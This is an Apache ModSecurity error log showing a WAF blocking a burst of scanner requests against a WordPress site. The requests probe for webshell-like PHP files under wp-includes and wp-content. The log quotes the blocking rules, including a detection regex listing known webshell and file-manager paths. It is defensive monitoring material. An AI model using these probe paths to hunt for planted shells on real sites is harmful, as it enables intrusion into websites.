[Thu Apr 23 07:26:09.061076 2026] [:error] [pid 43083:tid 43104] [client 89.251.0.113:31345] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aelZETC5hrvNXosL83LHpgAAANM"]
[Thu Apr 23 07:26:09.662336 2026] [:error] [pid 65000:tid 65042] [client 89.251.0.140:55005] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aelZEb6vRb9j6psK2ZaVtAAAAgk"]
[Thu Apr 23 07:26:10.276717 2026] [:error] [pid 64998:tid 65022] [client 89.251.0.143:33615] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aelZEoV5EysYcTLjmwjzrQAAAdQ"]
[Thu Apr 23 07:26:11.357808 2026] [:error] [pid 43083:tid 43099] [client 89.251.0.121:45593] [client 89.251.0.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aelZEzC5hrvNXosL83LHwAAAAM4"]
[Thu Apr 23 07:26:11.947059 2026] [:error] [pid 25635:tid 25645] [client 89.251.0.117:46513] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aelZE8Rxv6UsgRGKB3LgZQAAAQY"]
[Thu Apr 23 07:26:13.242455 2026] [:error] [pid 43083:tid 43109] [client 89.251.0.114:49913] [client 89.251.0.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aelZFTC5hrvNXosL83LH5gAAANg"]
[Thu Apr 23 07:26:13.825484 2026] [:error] [pid 59700:tid 59712] [client 89.251.0.143:23687] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aelZFZXyGZJFeAIDWtlW4gAAAUo"]
[Thu Apr 23 07:26:15.464860 2026] [:error] [pid 59700:tid 59722] [client 89.251.0.146:62951] [client 89.251.0.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aelZF5XyGZJFeAIDWtlXFAAAAVQ"]
[Thu Apr 23 07:26:16.299421 2026] [:error] [pid 59700:tid 59713] [client 89.251.0.145:25047] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aelZGJXyGZJFeAIDWtlXMQAAAUs"]
[Thu Apr 23 07:26:17.309248 2026] [:error] [pid 43083:tid 43087] [client 89.251.0.140:55001] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aelZGTC5hrvNXosL83LIAAAAAMI"]
[Thu Apr 23 07:26:18.521196 2026] [:error] [pid 64998:tid 65013] [client 89.251.0.129:60259] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aelZGoV5EysYcTLjmwjz3gAAAcs"]
[Thu Apr 23 07:26:20.381719 2026] [:error] [pid 43083:tid 43108] [client 89.251.0.115:58149] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aelZHDC5hrvNXosL83LIJgAAANc"]
[Thu Apr 23 07:26:23.187566 2026] [:error] [pid 42972:tid 43022] [client 89.251.0.144:34635] [client 89.251.0.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aelZH8OAb-3sOknsk4ceQAAAAEY"]
[Thu Apr 23 07:26:25.766696 2026] [:error] [pid 64998:tid 65012] [client 89.251.0.126:56595] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aelZIYV5EysYcTLjmwj0LwAAAco"]
[Thu Apr 23 07:26:26.344086 2026] [:error] [pid 64967:tid 64977] [client 89.251.0.128:23979] [client 89.251.0.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aelZIoAV4GfOOdX8QzoREAAAAYg"]
[Thu Apr 23 07:26:27.960976 2026] [:error] [pid 25635:tid 25660] [client 89.251.0.113:58835] [client 89.251.0.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aelZI8Rxv6UsgRGKB3LgoAAAARU"]
[Thu Apr 23 07:26:28.862759 2026] [:error] [pid 42973:tid 43051] [client 89.251.0.139:63011] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aelZJG6I0QqmmmLTHE3ZlQAAAIg"]
[Thu Apr 23 07:26:30.608042 2026] [proxy_fcgi:error] [pid 42971:tid 43006] [client 89.251.0.147:60839] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:26:30.979326 2026] [proxy_fcgi:error] [pid 42971:tid 43005] [client 89.251.0.147:60839] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:26:31.316316 2026] [proxy_fcgi:error] [pid 42971:tid 42986] [client 89.251.0.147:60839] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:26:32.967091 2026] [:error] [pid 42971:tid 43005] [client 89.251.0.147:60839] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aelZKDEP2_5RswrH8bGn_AAAABM"]
[Thu Apr 23 07:26:33.575707 2026] [:error] [pid 59700:tid 59713] [client 89.251.0.150:46209] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aelZKZXyGZJFeAIDWtlYAQAAAUs"]
[Thu Apr 23 07:26:34.184363 2026] [:error] [pid 64967:tid 64991] [client 89.251.0.137:38373] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aelZKoAV4GfOOdX8QzoRigAAAZY"]
[Thu Apr 23 07:26:35.842249 2026] [:error] [pid 43083:tid 43104] [client 89.251.0.129:35239] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aelZKzC5hrvNXosL83LIcQAAANM"]
[Thu Apr 23 07:26:36.749935 2026] [:error] [pid 59700:tid 59707] [client 89.251.0.120:29989] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aelZLJXyGZJFeAIDWtlYIwAAAUU"]
[Thu Apr 23 07:26:37.330419 2026] [:error] [pid 64967:tid 64974] [client 89.251.0.138:40779] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aelZLYAV4GfOOdX8QzoRogAAAYU"]
[Thu Apr 23 07:26:38.356213 2026] [:error] [pid 42972:tid 43019] [client 89.251.0.123:25693] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aelZLsOAb-3sOknsk4cewgAAAEM"]
[Thu Apr 23 07:26:38.999317 2026] [:error] [pid 64998:tid 65019] [client 89.251.0.125:36005] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aelZLoV5EysYcTLjmwj0cgAAAdE"]
[Thu Apr 23 07:26:39.665674 2026] [:error] [pid 42972:tid 43031] [client 89.251.0.135:29745] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aelZL8OAb-3sOknsk4ceyQAAAE8"]
[Thu Apr 23 07:26:40.334273 2026] [:error] [pid 65000:tid 65038] [client 89.251.0.127:50639] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aelZML6vRb9j6psK2ZaWuwAAAgU"]
[Thu Apr 23 07:26:41.643566 2026] [:error] [pid 59700:tid 59721] [client 89.251.0.114:60493] [client 89.251.0.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aelZMZXyGZJFeAIDWtlYYwAAAVM"]
[Thu Apr 23 07:26:42.529405 2026] [:error] [pid 59700:tid 59723] [client 89.251.0.141:38489] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aelZMpXyGZJFeAIDWtlYdQAAAVU"]
[Thu Apr 23 07:26:43.766201 2026] [:error] [pid 64998:tid 65016] [client 89.251.0.135:24199] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aelZM4V5EysYcTLjmwj0kwAAAc4"]
[Thu Apr 23 07:26:45.027399 2026] [:error] [pid 43083:tid 43087] [client 89.251.0.127:40927] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aelZNTC5hrvNXosL83LItwAAAMI"]
[Thu Apr 23 07:26:50.153609 2026] [:error] [pid 42971:tid 42992] [client 89.251.0.116:33147] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aelZOjEP2_5RswrH8bGoxQAAAAY"]
[Thu Apr 23 07:26:55.722682 2026] [:error] [pid 65000:tid 65041] [client 89.251.0.132:62009] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aelZP76vRb9j6psK2ZaXZQAAAgg"]
[Thu Apr 23 07:26:56.662143 2026] [:error] [pid 43083:tid 43106] [client 89.251.0.143:48223] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aelZQDC5hrvNXosL83LJIQAAANU"]
[Thu Apr 23 07:26:57.188339 2026] [:error] [pid 43083:tid 43108] [client 43.166.248.219:53186] [client 43.166.248.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aelZQTC5hrvNXosL83LJKQAAANc"]
[Thu Apr 23 07:27:02.982713 2026] [:error] [pid 43083:tid 43104] [client 89.251.0.136:58041] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aelZRjC5hrvNXosL83LJlQAAANM"]
[Thu Apr 23 07:27:03.607099 2026] [:error] [pid 43083:tid 43094] [client 89.251.0.135:48015] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aelZRzC5hrvNXosL83LJqwAAAMk"]
[Thu Apr 23 07:27:04.477676 2026] [:error] [pid 43083:tid 43090] [client 89.251.0.135:49781] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aelZSDC5hrvNXosL83LJyQAAAMU"]
[Thu Apr 23 07:27:05.744273 2026] [:error] [pid 64967:tid 64983] [client 89.251.0.138:43531] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aelZSYAV4GfOOdX8QzoSagAAAY4"]
[Thu Apr 23 07:27:06.902180 2026] [:error] [pid 65000:tid 65057] [client 89.251.0.145:44061] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aelZSr6vRb9j6psK2ZaX3QAAAhg"]
[Thu Apr 23 07:27:08.520520 2026] [:error] [pid 65000:tid 65050] [client 89.251.0.144:64099] [client 89.251.0.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/file.php"] [unique_id "aelZTL6vRb9j6psK2ZaYCgAAAhE"]
[Thu Apr 23 07:27:09.191026 2026] [:error] [pid 64998:tid 65002] [client 89.251.0.144:26139] [client 89.251.0.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/file.php"] [unique_id "aelZTYV5EysYcTLjmwj19gAAAcA"]
[Thu Apr 23 07:27:10.094250 2026] [:error] [pid 59700:tid 59714] [client 89.251.0.113:51769] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aelZTpXyGZJFeAIDWtlZAQAAAUw"]
[Thu Apr 23 07:27:10.786082 2026] [:error] [pid 65000:tid 65038] [client 89.251.0.146:58795] [client 89.251.0.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aelZTr6vRb9j6psK2ZaYFQAAAgU"]
[Thu Apr 23 07:27:13.141889 2026] [:error] [pid 42972:tid 43023] [client 89.251.0.141:49107] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aelZUcOAb-3sOknsk4cf4wAAAEc"]
[Thu Apr 23 07:27:14.137323 2026] [proxy_fcgi:error] [pid 25635:tid 25660] [client 89.251.0.113:34683] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:27:14.808076 2026] [:error] [pid 25635:tid 25663] [client 89.251.0.113:34683] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aelZUsRxv6UsgRGKB3LhfQAAARg"]
[Thu Apr 23 07:27:15.461793 2026] [:error] [pid 43083:tid 43104] [client 89.251.0.140:57233] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aelZUzC5hrvNXosL83LKUwAAANM"]
[Thu Apr 23 07:27:16.717586 2026] [:error] [pid 64998:tid 65008] [client 89.251.0.145:50451] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aelZVIV5EysYcTLjmwj2QAAAAcY"]
[Thu Apr 23 07:27:17.314434 2026] [:error] [pid 59700:tid 59710] [client 89.251.0.119:22537] [client 89.251.0.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aelZVZXyGZJFeAIDWtlZJAAAAUg"]
